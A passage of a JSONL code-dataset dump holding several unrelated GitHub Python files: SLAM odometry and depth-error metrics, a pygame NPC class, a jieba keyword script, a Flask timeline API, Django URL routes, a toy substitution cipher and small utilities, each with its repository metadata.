(Rainbow).py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14344478020","text":"import copy\nimport pickle\nfrom typing import Dict, List, Optional, Tuple, Union\n\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom torch import Tensor\n\nfrom depth_pose_prediction.networks.layers import BackprojectDepth\nfrom slam.meshlab import MeshlabInf\n\n\ndef save_data(fname, obj):\n with open(fname, 'wb') as f:\n pickle.dump(obj, f)\n\n\ndef load_data(fname):\n with open(fname, 'rb') as f:\n data = pickle.load(f)\n return data\n\n\ndef depth_to_pcl(backproject_depth: BackprojectDepth,\n inv_camera_matrix: Tensor,\n depth: Tensor,\n image: Tensor,\n batch_size: int = 1,\n dist_threshold: float = np.inf):\n pcl = backproject_depth(depth, inv_camera_matrix)\n pcl = pcl.squeeze().cpu().detach().numpy()[:3, :].T\n color = image.view(batch_size, 3, -1).squeeze().cpu().detach().numpy().T\n pcl = np.c_[pcl, color]\n if not np.isinf(dist_threshold):\n dist = np.linalg.norm(pcl[:, :3], axis=1)\n pcl = pcl[dist < dist_threshold, :]\n return pcl\n\n\ndef pcl_to_image(\n pcl: np.ndarray,\n camera_matrix: np.ndarray,\n image_shape: Tuple[int, int],\n) -> np.ndarray:\n projection = cv2.projectPoints(pcl[:, :3].astype(np.float64), (0, 0, 0), (0, 0, 0),\n camera_matrix, np.zeros(4))[0].squeeze()\n image = np.zeros((image_shape[0], image_shape[1], 3))\n depth = np.ones((image_shape[0], image_shape[1], 1)) * np.inf\n for i, (u, v) in enumerate(projection):\n u, v = int(np.floor(u)), int(np.floor(v))\n if not (0 <= v < image_shape[0] and 0 <= u < image_shape[1]):\n continue\n distance = np.linalg.norm(pcl[i, :3])\n if distance < depth[v, u]:\n depth[v, u] = distance\n image[v, u] = pcl[i, 3:]\n return image\n\n\ndef save_point_cloud(\n filename: str,\n pcl: Union[np.ndarray, List[np.ndarray]],\n global_pose_list: Optional[np.ndarray] = None,\n verbose: bool = True,\n) -> None:\n if global_pose_list is not None:\n accumulated_pcl = accumulate_pcl(pcl, global_pose_list)\n else:\n accumulated_pcl = pcl\n meshlab = MeshlabInf()\n meshlab.add_points(accumulated_pcl)\n meshlab.write(filename, verbose=verbose)\n\n\ndef accumulate_pcl(pcl_list: List[np.ndarray], global_pose_list: np.ndarray) -> np.ndarray:\n accumulated_pcl = []\n for i, (pcl, tmat) in enumerate(zip(pcl_list, global_pose_list)):\n accumulated_pcl.append(np.c_[(np.c_[pcl[:, :3], np.ones(\n (pcl.shape[0], 1))] @ tmat.T)[:, :3], pcl[:, 3:]])\n accumulated_pcl = np.concatenate(accumulated_pcl)\n return accumulated_pcl\n\n\ndef generate_figure(\n batch_i,\n image,\n depth,\n image_pcl,\n gt_xz,\n pred_xz,\n save_figure: bool = True,\n) -> None:\n fig = plt.figure(figsize=(8, 10))\n plt.subplot(411)\n plt.imshow(image)\n plt.axis('off')\n plt.title('Current frame')\n plt.subplot(412)\n vmax = np.percentile(depth, 95)\n plt.imshow(depth, cmap='magma_r', vmax=vmax)\n plt.axis('off')\n plt.title(f'Predicted depth (vmax={vmax:.3f})')\n plt.subplot(413)\n plt.imshow(image_pcl)\n plt.axis('off')\n plt.title('Projected PCL (w/o current frame)')\n plt.subplot(414)\n plt.plot(gt_xz[:, 0], gt_xz[:, 1], label='gt')\n plt.plot(pred_xz[:, 0], pred_xz[:, 1], label='pred')\n plt.xlim((-400, 15))\n plt.ylim((-60, 160))\n # plt.xlim((-10, 10))\n # plt.ylim((-10, 10))\n plt.legend()\n plt.tight_layout()\n if save_figure:\n plt.savefig(f'./figures/sequence_08/{batch_i:05}.png', )\n else:\n plt.show()\n plt.close(fig)\n\n\n# =============================================================================\n# Adapted from:\n# https://github.com/Huangying-Zhan/kitti-odom-eval/blob/master/kitti_odometry.py\n\n\ndef scale_optimization(pred_poses, gt_poses):\n \"\"\" Optimize scaling factor\n \"\"\"\n\n # 2D trajectory\n if isinstance(pred_poses, np.ndarray) and pred_poses.shape[1] == 2:\n scaling = scale_lse_solver(pred_poses, gt_poses)\n pred_scaled = scaling * pred_poses\n # 3D poses (6 DoF)\n elif isinstance(pred_poses, list) and pred_poses[0].shape == (4, 4):\n # Scale only translation but keep rotation\n pred_xyz = np.asarray([p[:3, 3] for p in pred_poses])\n gt_xyz = np.asarray([p[:3, 3] for p in gt_poses])\n scaling = scale_lse_solver(pred_xyz, gt_xyz)\n pred_scaled = copy.deepcopy(pred_poses)\n for p in pred_scaled:\n p[:3, 3] *= scaling\n else:\n assert False\n return pred_scaled, scaling\n\n\ndef scale_lse_solver(X, Y):\n \"\"\"Least-squares-error solver\n Compute optimal scaling factor so that s(X)-Y is minimum\n Args:\n X (KxN array): current data\n Y (KxN array): reference data\n Returns:\n scale (float): scaling factor\n \"\"\"\n scale = np.sum(X * Y) / np.sum(X**2)\n return scale\n\n\ndef trajectory_distances(poses):\n \"\"\"Compute distance for each pose w.r.t frame-0\n \"\"\"\n xyz = [p[:3, 3] for p in poses]\n dist = [0]\n for i in range(1, len(poses)):\n d = dist[i - 1] + np.linalg.norm(xyz[i] - xyz[i - 1])\n dist.append(d)\n return dist\n\n\ndef last_frame_from_segment_length(dist, first_frame, length):\n \"\"\"Find frame (index) that away from the first_frame with\n the required distance\n Args:\n dist (float list): distance of each pose w.r.t frame-0\n first_frame (int): start-frame index\n length (float): required distance\n Returns:\n i (int) / -1: end-frame index. if not found return -1\n \"\"\"\n for i in range(first_frame, len(dist), 1):\n if dist[i] > (dist[first_frame] + length):\n return i\n return -1\n\n\ndef rotation_error(pose_error):\n \"\"\"Compute rotation error\n Args:\n pose_error (4x4 array): relative pose error\n Returns:\n rot_error (float): rotation error\n \"\"\"\n a = pose_error[0, 0]\n b = pose_error[1, 1]\n c = pose_error[2, 2]\n d = 0.5 * (a + b + c - 1.0)\n rot_error = np.arccos(max(min(d, 1.0), -1.0))\n return rot_error\n\n\ndef translation_error(pose_error):\n \"\"\"Compute translation error\n Args:\n pose_error (4x4 array): relative pose error\n Returns:\n trans_error (float): translation error\n \"\"\"\n dx = pose_error[0, 3]\n dy = pose_error[1, 3]\n dz = pose_error[2, 3]\n trans_error = np.sqrt(dx**2 + dy**2 + dz**2)\n return trans_error\n\n\ndef calc_sequence_errors(pred_poses, gt_poses):\n \"\"\"calculate sequence error\n \"\"\"\n error = []\n dist = trajectory_distances(gt_poses)\n step_size = 10\n sequence_lengths = [100, 200, 300, 400, 500, 600, 700, 800]\n num_lengths = len(sequence_lengths)\n\n for first_frame in range(0, len(gt_poses), step_size):\n for i in range(num_lengths):\n length = sequence_lengths[i]\n last_frame = last_frame_from_segment_length(dist, first_frame, length)\n\n # Continue if sequence is not long enough\n if last_frame == -1:\n continue\n\n # Compute rotational and translational errors\n pose_delta_gt = np.linalg.inv(gt_poses[first_frame]) @ gt_poses[last_frame]\n pose_delta_pred = np.linalg.inv(pred_poses[first_frame]) @ pred_poses[last_frame]\n pose_error = np.linalg.inv(pose_delta_pred) @ pose_delta_gt\n rot_error = rotation_error(pose_error) / length\n trans_error = translation_error(pose_error) / length\n\n # compute speed\n num_frames = last_frame - first_frame + 1\n speed = length / (0.1 * num_frames) # Assume 10fps\n\n error.append([first_frame, rot_error, trans_error, length, speed])\n return error\n\n\ndef compute_segment_error(seq_errs):\n \"\"\"This function calculates average errors for different segment.\n Args:\n seq_errs (list list): list of errs; [first_frame, rotation error, translation error,\n length, speed]\n - first_frame: frist frame index\n - rotation error: rotation error per length\n - translation error: translation error per length\n - length: evaluation trajectory length\n - speed: car speed (#FIXME: 10FPS is assumed)\n Returns:\n avg_segment_errs (dict): {100:[avg_t_err, avg_r_err],...}\n \"\"\"\n\n sequence_lengths = [100, 200, 300, 400, 500, 600, 700, 800]\n\n segment_errs = {}\n avg_segment_errs = {}\n for len_ in sequence_lengths:\n segment_errs[len_] = []\n\n # Get errors\n for err in seq_errs:\n len_ = err[3]\n t_err = err[2]\n r_err = err[1]\n segment_errs[len_].append([t_err, r_err])\n\n # Compute average\n for len_ in sequence_lengths:\n if segment_errs[len_] != []:\n avg_t_err = np.mean(np.asarray(segment_errs[len_])[:, 0])\n avg_r_err = np.mean(np.asarray(segment_errs[len_])[:, 1])\n avg_segment_errs[len_] = [avg_t_err, avg_r_err]\n else:\n avg_segment_errs[len_] = []\n return avg_segment_errs\n\n\ndef compute_overall_err(seq_err):\n \"\"\"Compute average translation & rotation errors\n Args:\n seq_err (list list): [[r_err, t_err],[r_err, t_err],...]\n - r_err (float): rotation error\n - t_err (float): translation error\n Returns:\n ave_t_err (float): average translation error\n ave_r_err (float): average rotation error\n \"\"\"\n t_err = 0\n r_err = 0\n\n seq_len = len(seq_err)\n\n if seq_len == 0:\n return 0, 0\n for item in seq_err:\n r_err += item[1]\n t_err += item[2]\n ave_t_err = t_err / seq_len\n ave_r_err = r_err / seq_len\n return ave_t_err, ave_r_err\n\n\ndef compute_ATE(pred_poses, gt_poses):\n \"\"\"Compute RMSE of ATE (abs. trajectory error)\n \"\"\"\n errors = []\n for pred_pose, gt_pose in zip(pred_poses, gt_poses):\n gt_xyz = gt_pose[:3, 3]\n pred_xyz = pred_pose[:3, 3]\n align_err = gt_xyz - pred_xyz\n\n errors.append(np.sqrt(np.sum(align_err**2)))\n ate = np.sqrt(np.mean(np.asarray(errors)**2))\n return ate\n\n\ndef compute_RPE(pred_poses, gt_poses):\n \"\"\"Compute RPE (rel. pose error)\n Returns:\n rpe_trans\n rpe_rot\n \"\"\"\n trans_errors = []\n rot_errors = []\n for i in range(len(pred_poses) - 1):\n # for i in list(pred.keys())[:-1]:\n gt1 = gt_poses[i]\n gt2 = gt_poses[i + 1]\n gt_rel = np.linalg.inv(gt1) @ gt2\n\n pred1 = pred_poses[i]\n pred2 = pred_poses[i + 1]\n pred_rel = np.linalg.inv(pred1) @ pred2\n\n rel_err = np.linalg.inv(gt_rel) @ pred_rel\n trans_errors.append(translation_error(rel_err))\n rot_errors.append(rotation_error(rel_err))\n rpe_trans = np.mean(np.asarray(trans_errors))\n rpe_rot = np.mean(np.asarray(rot_errors))\n return rpe_trans, rpe_rot\n\n\ndef calc_error(pred_poses, gt_poses, optimize_scale: bool = False) -> str:\n log = ''\n if optimize_scale:\n pred_poses_scaled, scaling = scale_optimization(pred_poses, gt_poses)\n log += '-' * 10 + ' MEDIAN\\n'\n log += f'Scaling: {scaling}'\n else:\n pred_poses_scaled = pred_poses\n sequence_error = calc_sequence_errors(pred_poses_scaled, gt_poses)\n # segment_error = compute_segment_error(sequence_error)\n ave_t_err, ave_r_err = compute_overall_err(sequence_error)\n\n log += '-' * 10 + '\\n'\n log += f'Trans error (%): {ave_t_err * 100:.4f}' + '\\n'\n log += f'Rot error (deg/100m): {100 * ave_r_err / np.pi * 180:.4f}' + '\\n'\n\n # Compute ATE\n ate = compute_ATE(pred_poses, gt_poses)\n log += f'Abs traj RMSE (m): {ate:.4f}' + '\\n'\n\n # Compute RPE\n rpe_trans, rpe_rot = compute_RPE(pred_poses, gt_poses)\n log += f'Rel pose error (m): {rpe_trans:.4f}' + '\\n'\n log += f'Rel pose err (deg): {rpe_rot * 180 / np.pi:.4f}' + '\\n'\n log += '-' * 10 + '\\n'\n\n return log\n\n\n# =============================================================================\n\n\ndef calc_depth_error(\n pred_depth,\n gt_depth,\n median_scaling: bool = True,\n min_depth: Optional[float] = None,\n max_depth: Optional[float] = None,\n) -> Dict[str, float]:\n gt_height, gt_width = gt_depth.shape\n pred_depth = cv2.resize(pred_depth, (gt_width, gt_height))\n\n # Mask out pixels without ground truth depth\n # or ground truth depth farther away than the maximum predicted depth\n if max_depth is not None:\n mask = np.logical_and(gt_depth > min_depth, gt_depth < max_depth)\n else:\n mask = gt_depth > min_depth\n pred_depth = pred_depth[mask]\n gt_depth = gt_depth[mask]\n\n # Introduced by SfMLearner\n if median_scaling:\n ratio = np.median(gt_depth) / np.median(pred_depth)\n pred_depth *= ratio\n\n # Cap predicted depth at min and max depth\n pred_depth[pred_depth < min_depth] = min_depth\n if max_depth is not None:\n pred_depth[pred_depth > max_depth] = max_depth\n\n # Compute error metrics\n thresh = np.maximum((gt_depth / pred_depth), (pred_depth / gt_depth))\n a1 = np.mean(thresh < 1.25)\n a2 = np.mean(thresh < 1.25**2)\n a3 = np.mean(thresh < 1.25**3)\n rmse = (gt_depth - pred_depth)**2\n rmse_tot = np.sqrt(np.mean(rmse))\n rmse_log = (np.log(gt_depth) - np.log(pred_depth))**2\n rmse_log_tot = np.sqrt(np.mean(rmse_log))\n abs_diff = np.mean(np.abs(gt_depth - pred_depth))\n abs_rel = np.mean(np.abs(gt_depth - pred_depth) / gt_depth)\n sq_rel = np.mean(((gt_depth - pred_depth)**2) / gt_depth)\n\n metrics = {\n 'abs_diff': abs_diff,\n 'abs_rel': abs_rel,\n 'sq_rel': sq_rel,\n 'a1': a1,\n 'a2': a2,\n 'a3': a3,\n 'rmse': rmse_tot,\n 'rmse_log': rmse_log_tot\n }\n\n return metrics\n","repo_name":"robot-learning-freiburg/CL-SLAM","sub_path":"slam/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13777,"program_lang":"python","lang":"en","doc_type":"code","stars":107,"dataset":"github-code","pt":"72"} +{"seq_id":"20806441749","text":"from pygame import Surface, SRCALPHA\r\nfrom pygame import Rect\r\nfrom pygame.image import load as load_img\r\nfrom pygame.transform import flip\r\nimport pygame\r\nfrom .. import Colors\r\nfrom .. import screen_size, gravity\r\nfrom .position import Position\r\n\r\nclass NPC(object):\r\n size = (50, 64)\r\n frames = {\r\n 'stay': 1\r\n }\r\n image_path = \"Witcher 2D_r/game/res/Zeppily.jpg\"\r\n animation_speed = 0.25\r\n speedx = 0\r\n speedy = 0\r\n on_ground = False\r\n flip_x = False\r\n pos = Position()\r\n\r\n def __init__(self, start_pos):\n self.surface = Surface(self.size, SRCALPHA)\n\n self.spritesheet = load_img(self.image_path)\n self.surface.fill((0, 0, 0, 0))\n self.pos = start_pos\n self.rect = Rect(\n self.pos.x, self.pos.y,\n self.size[0], self.size[1]\n )\n self.current_frame = 0\n self.last_frame_time = 0\n\n self.surface.blit(self.spritesheet, (0, 0))\r\n\r\n def update_anim(self, time):\r\n self.last_frame_time += time\r\n row = 0\r\n frames = self.frames['stay']\r\n\r\n while self.last_frame_time > self.animation_speed:\r\n self.current_frame += 1\r\n self.last_frame_time = self.last_frame_time - self.animation_speed\r\n else:\r\n self.current_frame = min(self.current_frame, frames)\r\n self.surface.fill((0, 0, 0, 0))\r\n self.surface.blit(\r\n self.spritesheet,\r\n (0, 0),\r\n (\r\n 0*self.current_frame,\r\n 0,\r\n 43, 64\r\n )\r\n )\r\n self.surface = flip(self.surface, self.flip_x, False)\r\n def update_pos(self, keys, platforms,td):\r\n self.on_walk = False\r\n self.speedy += gravity\r\n self.pos.y += self.speedy\r\n self.on_ground = False\r\n if self.pos.x < 0:\r\n self.pos.x = 0\r\n if self.pos.y < 0:\r\n self.pos.y = 0\r\n if self.pos.x > screen_size[0] - self.rect.w:\r\n self.pos.x = screen_size[0] - self.rect.w\r\n if self.pos.y > screen_size[1] - self.rect.h:\r\n self.pos.y = screen_size[1] - self.rect.h\r\n self.speedy = 0\r\n self.on_gorund = True\r\n self.anim_jump = False\r\n self.on_gorund = False\r\n self.rect.x = self.pos.x\r\n self.rect.y = self.pos.y\r\n for item in platforms: \r\n if self.rect.colliderect(item.rect):\r\n if (self.speedy > 0):\r\n self.rect.y = item.rect.y - self.rect.h\r\n self.speedy = 0\r\n self.on_gorund = True\r\n self.pos.y = self.rect.y\r\n if (self.speedy < 0):\r\n self.rect.y = item.rect.y + item.rect.h\r\n self.speedy = 0\r\n self.pos.y = self.rect.y\r\n\r\n def put_on_screen(self, screen):\r\n screen.blit(self.surface, self.rect)\r\n","repo_name":"witcher-2d/Witcher-2D","sub_path":"Witcher 2D/Witcher 2D_r/game/objects/Object.py","file_name":"Object.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4522362746","text":"\nimport jieba\nfrom jieba import analyse\nimport numpy as np\nimport pandas as pd\n\n\n\n\ndatasets = pd.read_table('cnews.train.txt', header = -1)\n\ncutlist = []\n\nfor line in datasets.values:\n a = jieba.cut(line[1])\n cutlist.append(a)\n\na = list(cutlist[0])\n\nnp.set_printoptions(threshold = np.inf)\n\nprint(len(a))\nprint(a)\n\nstopwords = []\n\nwith open('cnews.vocab.txt') as f:\n for line in f.readlines():\n stopwords.append(line.strip())\n\nresult = ''\n\nfor word in a:\n if word not in stopwords:\n result += word + ' '\n\nprint(result)\n\n\nkeyword = analyse.extract_tags(result, withWeight = True)\n\n\nfor item in keyword:\n print(item[0], item[1])\n\n\n\n\n\n# kw = analyse.extract_tags(' '.join(a))\n#\n# vec = CountVectorizer()\n# count = vec.fit_transform(kw)\n# print(count)\n# transformer = TfidfTransformer()\n# tfidf = transformer.fit_transform(count)\n# print(tfidf)\n# print(tfidf.toarray())\n\n\n\n\n\n# ct = CountVectorizer()\n# count = ct.fit_transform(a)\n# print(ct.get_feature_names())\n# print(count.toarray())\n#\n# transformer = TfidfTransformer()\n# tf_matrix = transformer.fit_transform(count)\n# print(tf_matrix.toarray())\n","repo_name":"coolfeel/demos","sub_path":"mltests/05.bayes/work/work_bayes.py","file_name":"work_bayes.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16968914561","text":"import os\nfrom flask import Flask, render_template, request, Response\nfrom dotenv import load_dotenv\nfrom app.Data_Loader import Data_Loader\nfrom app.utils import check_email\nimport datetime\nfrom peewee import *\nfrom playhouse.shortcuts import model_to_dict\n\nload_dotenv()\napp = Flask(__name__)\n\nif os.getenv('TESTING') == 'true':\n print(\"Running on test mode\")\n mydb = SqliteDatabase('file:memory?mode=memory&cache=shared', uri=True)\nelse: \n mydb = MySQLDatabase(\n os.getenv(\"MYSQL_DATABASE\"), \n user = os.getenv(\"MYSQL_USER\"),\n password=os.getenv(\"MYSQL_PASSWORD\"),\n host = os.getenv(\"MYSQL_HOST\"),\n port = 3306\n )\n\nclass TimeLinePost(Model):\n name = CharField() \n email = CharField()\n content = CharField()\n created_at = DateTimeField(default=datetime.datetime.now)\n\n class Meta:\n database = mydb\n\nmydb.connect()\nmydb.create_tables([TimeLinePost])\n\n@app.route('/')\ndef landing_page():\n DATA = Data_Loader()\n return render_template('home.html', skills_data= DATA.skills_data, experiences_data = DATA.experiences_data)\n \n@app.route('/timeline')\ndef timeline():\n DATA = Data_Loader()\n return render_template('_timeline.html', data= DATA.about_me_data, title='Timeline', url=os.getenv('URL'))\n\n@app.route('/api/timeline_post', methods=['POST'])\ndef post_time_line_post():\n try:\n name = request.form['name']\n except:\n return \"Invalid name\", 400\n email = request.form['email']\n if not email or check_email(email) == False: \n return \"Invalid email\", 400\n content = request.form['content'] \n if not content:\n return \"Invalid content\", 400\n timeline_post = TimeLinePost.create(name=name, email=email, content=content)\n return model_to_dict(timeline_post)\n\n@app.route('/api/timeline_post', methods=['GET'])\ndef get_timeline_post():\n return {\n 'timeline_posts':[\n model_to_dict(post) \n for post in \n TimeLinePost.select().order_by(TimeLinePost.created_at.desc())\n ],\n }\n\n@app.route('/api/timeline_post', methods=['DELETE'])\ndef delete_timeline_post():\n name = request.form['name']\n try:\n post = TimeLinePost.get(TimeLinePost.name == name)\n post.delete_instance()\n except:\n return Response(\n \"Post not found\",\n status=400,\n )\n return {\"mesagge\" : \"deleted\", \"post\":model_to_dict(post)}","repo_name":"MLH-Fellowship/project-technical-tigers","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32941895241","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n__author__ = 'ar'\n\nimport os\n\ndef getListDirNamesInDir(pathDir):\n ret = [os.path.basename(x) for x in os.listdir(pathDir) if os.path.isdir(os.path.join(pathDir,x))]\n return ret\n\ndef getListImagesInDirectory(pathDir, pext=('.jpg', '.jpeg', '.JPG', '.JPEG', '.png', '.PNG', '.bmp', '.BMP')):\n ret = [os.path.join(pathDir,x) for x in os.listdir(pathDir) if (os.path.isfile(os.path.join(pathDir,x)) and x.endswith(pext))]\n return ret\n\n\ndef checkFilePath(path, isDirectory=False):\n if not isDirectory:\n tcheck = os.path.isfile(path)\n else:\n tcheck = os.path.isdir(path)\n if not tcheck:\n if not isDirectory:\n tstrErr = \"Cant find file [%s]\" % path\n else:\n tstrErr = \"Cant find directory [%s]\" % path\n raise Exception(tstrErr)\n\ndef calcNumImagesByLabel(lstLabel, mapImagePath):\n ret={}\n for ii in lstLabel:\n if mapImagePath.has_key(ii):\n ret[ii] = len(mapImagePath[ii])\n else:\n ret[ii] = 0\n return ret\n\nif __name__ == '__main__':\n pass","repo_name":"SummaLabs/DLS","sub_path":"app/backend/core/datasets/dbutils.py","file_name":"dbutils.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"72"} +{"seq_id":"19712063666","text":"solution = []\n\n\ndef all_path(graph, src, dst, solution, seen=set()):\n #! Do calculation here.\n\n solution += src\n if src == dst:\n print(f'solution -> {solution}')\n return True\n\n # If the src node is in visited set, return to avoid cycles.\n if str(src) in seen:\n return\n\n # We're converting src to str to maintain consistency.\n seen.add(str(src))\n\n for neighbor in graph[src]:\n all_path(graph, neighbor, dst, solution, seen)\n","repo_name":"namank03/DSA_PYTHON","sub_path":"practice/graphs/all_path.py","file_name":"all_path.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31293557391","text":"from django.urls import path, include\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nfrom . import views\n\n\nurlpatterns = [\n path('', views.main_outbound, name=\"outbound\"),\n path('add_outbound', views.outbound, name=\"add_outbound\"),\n path('view_outbound//', views.view_outbound, name=\"view_outbound\"),\n path('delete_outbound//',\n views.delete_outbound, name=\"delete_outbound\"),\n path('add_outbounddata/', views.outbounddata, name=\"add_outbounddata\"),\n path('delete_outbounddata//',\n views.delete_outbounddata, name=\"delete_outbounddata\"),\n path('confirm/', views.confirm, name='confirm_outbound'),\n path('update_outbounddata//',\n views.outbounddata, name=\"update_outbounddata\"),\n # -------------------- PDFOutbound --------------------------\n path('/', views.PdfOutbound.as_view(),),\n\n\n path('customer', views.main_customer, name=\"customer\"),\n path('add_customer', views.customer, name=\"add_customer\"),\n path('delete_customer//',\n views.delete_customer, name=\"delete_customer\"),\n path('update_customer//',\n views.customer, name=\"update_customer\"),\n path('customer/detail//',\n views.customer_detail, name=\"detail_customer\"), \n]\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","repo_name":"InformaticsResearchCenter/WMS","sub_path":"wmsOutbound/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"997736447","text":"import sys, os, random, time, os\r\nfrom textwrap import wrap\r\nrandom.seed(version=int(time.time()))\r\n\r\nclass Generator(object):\r\n def __init__(self):\r\n super().__init__()\r\n self.letters = [\"1\", \"2\", \"3\", '4', '5', '6', '7', '8', '9', '0',\r\n \"q\", \"w\", \"e\", \"r\", \"t\", \"y\", \"u\", \"i\", \"o\", \"p\", \"[\", \"]\",\r\n \"a\", \"s\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \";\", \"|\", \"z\",\r\n \"x\", \"c\", \"v\", \"b\", \"n\", \"m\", \",\", \".\", \"/\", \"Q\", \"W\", \"E\",\r\n \"R\", \"T\", \"Y\", \"U\", \"I\", \"O\", \"P\", \"{\", \"}\", \"A\", \"S\", \"D\",\r\n \"F\", \"G\", \"H\", \"J\", \"K\", \"L\", \":\", \"Z\", \"X\", \"C\", \"V\", \"B\",\r\n \"N\", \"M\", \",\", \"?\", \"!\", \"@\", \"#\", \"$\", \"%\", \"^\", \"&\", \"*\",\r\n \"(\", \")\", \"_\", \"-\", \"=\", \"+\", \"'\", \"й\", \"ц\", \"у\", \"к\", \"е\",\r\n \"н\", \"г\", \"ш\", \"щ\", \"з\", \"х\", \"ъ\", \"ф\", \"ы\", \"в\", \"а\", \"п\",\r\n \"р\", \"о\", \"л\", \"д\", \"ж\", \"э\", \"я\", \"ч\", \"с\", \"м\", \"и\", \"т\",\r\n \"ь\", \"б\", \"ю\", \"Й\", \"Ц\", \"У\", \"К\", \"Е\", \"Н\", \"Г\", \"Ш\", \"Щ\",\r\n \"З\", \"Х\", \"Ъ\", \"Ф\", \"Ы\", \"В\", \"А\", \"П\", \"Р\", \"О\", \"Л\", \"Д\",\r\n \"Ж\", \"Э\", \"Я\", \"Ч\", \"С\", \"М\", \"И\", \"Т\", \"Ь\", \"Б\", \"Ю\"]\r\n self.keys = {}\r\n \r\n def generateKeys(self):\r\n for letter in self.letters:\r\n self.keys[letter] = ''.join(str(random.randint(0, 9)) for i in range(10))\r\n print('[!] Nencoder -> keys generated!')\r\n\r\n def crypt(self, text: str):\r\n cryptedtext = ''\r\n for line in text.split('\\n'):\r\n for word in line.split(\" \"):\r\n for letter in list(word):\r\n cryptedtext += self.keys[letter]\r\n print(f'[!] Nencoder -> {cryptedtext}')\r\n \r\n def encrypt(self, cryptedtext: str):\r\n try: \r\n encryptedtext = ''\r\n for letter in wrap(cryptedtext, 10):\r\n encryptedtext += get_key(letter, self.keys)\r\n print(f'[!] Nencoder -> {encryptedtext}')\r\n except TypeError:\r\n print(f'[!] Nencoder -> Wrong text')\r\n \r\n def openKeys(self, path: str):\r\n try: \r\n if os.path.isfile(path):\r\n with open(path, 'r') as filekeys:\r\n i = 0\r\n for value in wrap(filekeys.read(), 10):\r\n self.keys[self.letters[i]] = value\r\n i += 1\r\n print('[!] Nencoder -> keys readed!')\r\n else:\r\n print('[!] Nencoder -> File not exist!')\r\n except:\r\n print(\"[!] Nencoder -> FATAL ERROR\")\r\n\r\n def saveKeys(self, path):\r\n try:\r\n with open(path, 'w') as filekeys:\r\n keys = ''\r\n for key, value in self.keys.items():\r\n keys += f'{value}'\r\n filekeys.writelines(keys)\r\n filekeys.close()\r\n print('[!] Nencoder -> keys saved!')\r\n except PermissionError as error:\r\n print(f'[!] Nencoder -> {error}')\r\n except FileNotFoundError as error:\r\n print(f'[!] Nencoder -> {error}')\r\n except:\r\n print(f'[!] Nencoder -> FATAL ERROR')\r\n\r\n def readKeys(self):\r\n keys = ''\r\n i = 0\r\n for key, value in self.keys.items():\r\n if i == 0:\r\n keys += f'{key} -> {value}'\r\n elif i < 5 and i != 0:\r\n keys += f' {key} -> {value}'\r\n elif i == 5:\r\n i = 0\r\n keys += '\\n' \r\n continue\r\n i += 1\r\n print(keys)\r\n\r\ndef get_space(word, max):\r\n return ' ' * (max - len(list(word)))\r\n\r\ndef get_key(val, keys):\r\n for key, value in keys.items():\r\n if val == value:\r\n return key\r\n\r\ndef Help():\r\n commands = [['help', 'Get help menu'], ['crypt', 'Crypt text'], ['encrypt', 'Encrypt text'], ['read', 'Read keys'],\r\n ['open', 'Open keys'], ['save', 'Save keys'], ['generate', 'Generate keys'], ['exit', 'Close program']]\r\n for command in commands:\r\n print(f'{commands.index(command) + 1} -> {command[0]}{get_space(command[0], 8)}: {command[1]}')\r\n\r\ndef menu(crypter: Generator):\r\n Help()\r\n while True:\r\n inputOk = input(f'Nencoder: menu -> ')\r\n if inputOk == 'help' or inputOk == '1': Help()\r\n elif inputOk == 'crypt' or inputOk == '2': \r\n text = input('Nencoder: crypter -> ')\r\n crypter.crypt(text)\r\n elif inputOk == 'encrypt' or inputOk == '3':\r\n text = input('Nencoder: encrypter -> ')\r\n crypter.encrypt(text)\r\n elif inputOk == 'read' or inputOk == '4':\r\n crypter.readKeys()\r\n elif inputOk == 'open' or inputOk == '5':\r\n path = input('Nencoder: open -> ')\r\n crypter.openKeys(path)\r\n elif inputOk == 'save' or inputOk == '6': \r\n path = input('Nencoder: save -> ')\r\n crypter.saveKeys(path)\r\n elif inputOk == 'generate' or inputOk == '7': \r\n crypter.generateKeys()\r\n elif inputOk == 'exit' or inputOk == '8': \r\n exit(0)\r\n else:\r\n continue\r\n\r\ndef main():\r\n crypter = Generator()\r\n menu(crypter)\r\n\r\n\r\ntry:\r\n main()\r\nexcept KeyboardInterrupt:\r\n exit(f'\\n[!] Nencoder -> User closed program!')\r\n","repo_name":"WokasWokas/Nencoder","sub_path":"Nencorder.py","file_name":"Nencorder.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5572826401","text":"import pytest\nimport pandas as pd\nfrom ukb_api import module_get_fs_summary_stats\n\n\ndef test_function_get_subject_list():\n meta_data_path = \"/ocean/projects/asc170022p/shared/Data/ukBiobank/meta_data_files/\"\n summary_stats_object = module_get_fs_summary_stats.summary_stats_fs()\n subject_ids_from_api = summary_stats_object.get_subject_ids()\n\n with open(meta_data_path + 'UKB_fs_folder_paths_march_2022.csv') as f:\n folder_paths = f.read().splitlines()\n\n fs_subject_list = []\n for path in folder_paths:\n fs_subject_list.append(path.split(\"/\")[-3])\n\n subject_ids_from_file = list(set(fs_subject_list))\n\n assert (set(subject_ids_from_api) == set(subject_ids_from_file))\n\n\ndef test_get_summary_stats():\n 